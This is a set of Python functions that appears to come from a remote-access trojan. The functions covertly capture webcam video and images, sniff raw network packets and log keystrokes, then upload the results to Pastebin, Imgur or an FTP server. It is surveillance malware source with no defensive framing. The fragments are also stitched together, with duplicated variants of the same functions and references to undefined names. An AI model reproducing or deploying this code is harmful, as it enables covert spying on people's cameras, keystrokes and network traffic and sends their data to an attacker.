def logger(mode='ftp'): """ Upload the log to Pastebin or FTP server at a regular interval `Optional` :param str mode: ftp, pastebin """ try: while True: if globals()['_buffer'].tell() > max_bytes: global _buffer try: result = util.pastebin( _buffer) if 'ftp' not in mode else util.ftp(_buffer) results.append(result) _buffer.reset() except Exception as e: util.log("{} error: {}".format(logger.func_name, str(e))) elif globals()['_abort']: break else: time.sleep(5) except Exception as e: util.log("{} error: {}".format(logger.func_name, str(e)))
def video(*args, **kwargs): try: fpath = os.path.join(os.path.expandvars('%TEMP%'), 'tmp{}.avi'.format( random.randint(1000, 9999))) if os.name is 'nt' else os.path.join( '/tmp', 'tmp{}.avi'.format(random.randint(1000, 9999))) fourcc = cv2.VideoWriter_fourcc( *'DIVX') if os.name is 'nt' else cv2.VideoWriter_fourcc(*'XVID') output = cv2.VideoWriter(fpath, fourcc, 20.0, (640, 480)) length = float(int([i for i in args if bytes(i).isdigit()][0])) if len( [i for i in args if bytes(i).isdigit()]) else 5.0 end = time.time() + length dev = cv2.VideoCapture(0) while True: ret, frame = dev.read() output.write(frame) if time.time() > end: break dev.release() result = util.ftp(fpath, filetype='.avi') try: util.delete(fpath) except: pass return result except Exception as e: return '{} error: {}'.format(video.func_name, str(e))
def run(mode, seconds=30): try: if mode not in ('pastebin', 'ftp'): return "Error: invalid upload mode '%s'" % str(mode) limit = time.time() + seconds sniffer_socket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) while time.time() < limit: try: recv_data = sniffer_socket.recv(2048) recv_data, ip_bool = packetsniffer_eth_header(recv_data) if ip_bool: recv_data, ip_proto = packetsniffer_ip_header(recv_data) if ip_proto == 6: recv_data = packetsniffer_tcp_header(recv_data) elif ip_proto == 17: recv_data = packetsniffer_udp_header(recv_data) except: break try: sniffer_socket.close() except: pass output = cStringIO.StringIO('\n'.join(_buffer)) results[time.ctime()] = util.pastebin( output) if 'ftp' not in mode else util.ftp(output, filetype='.pcap') except Exception as e: util.debug("{} error: {}".format(packetsniffer.func_name, str(e)))
def image(*args, **kwargs): try: dev = cv2.VideoCapture(0) r,f = dev.read() dev.release() if not r: util.debug(f) return "Unable to access webcam" png = util.png(f) return util.imgur(png) if 'ftp' not in args else util.ftp(png, filetype='.png') except Exception as e: return '{} error: {}'.format(image.func_name, str(e))
def auto(mode): """ Auto-upload to Pastebin or FTP server """ while True: try: if globals()['logs'].tell() > globals()['max_size']: result = util.pastebin( globals()['logs']) if mode == 'pastebin' else util.ftp( globals()['logs'], filetype='.txt') results.put(result) globals()['logs'].reset() elif globals()['abort']: break else: time.sleep(1) except Exception as e: util.log("{} error: {}".format(auto.__name__, str(e))) break
def auto(): """ Automatically log and upload keystrokes """ while True: try: if globals()['logs'].tell() > globals()['max_size']: result = util.pastebin( globals()['logs']) if mode == 'pastebin' else util.ftp( globals()['logs'], filetype='.txt') results.put(result) globals()['logs'].reset() elif globals()['abort']: break else: time.sleep(1) except Exception as e: util.log("{} error: {}".format(auto.func_name, str(e))) break
def auto(mode): """ Auto-upload to Pastebin or FTP server """ if mode not in ('ftp', 'pastebin'): return "Error: invalid mode '{}'".format(str(mode)) while True: try: if globals()['log'].tell() > globals()['max_size']: result = util.pastebin( globals()['log']) if mode == 'pastebin' else util.ftp( globals()['log'], filetype='.txt') results.put(result) globals()['log'].reset() elif globals()['_abort']: break else: time.sleep(5) except Exception as e: util.debug("{} error: {}".format(auto.func_name, str(e))) break
def run(mode, seconds=30): """ Monitor the host network and capture packets `Optional` :param int seconds: duration in seconds (default: 30) """ try: if mode not in ('pastebin', 'ftp'): return "Error: invalid upload mode '%s'" % str(mode) if not isinstance(seconds, int): return "Error: keyword argument 'seconds' must be an integer" sniffer_socket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) while time.clock() < seconds: try: recv_data = sniffer_socket.recv(2048) recv_data, ip_bool = packetsniffer_eth_header(recv_data) if ip_bool: recv_data, ip_proto = packetsniffer_ip_header(recv_data) if ip_proto == 6: recv_data = packetsniffer_tcp_header(recv_data) elif ip_proto == 17: recv_data = packetsniffer_udp_header(recv_data) except Exception as e: util.log(str(e)) break try: sniffer_socket.close() except: pass results[time.ctime()] = util.pastebin( globals()['log']) if 'ftp' not in mode else util.ftp( globals()['log'], filetype='.pcap') except Exception as e: util.log("{} error: {}".format(packetsniffer.func_name, str(e)))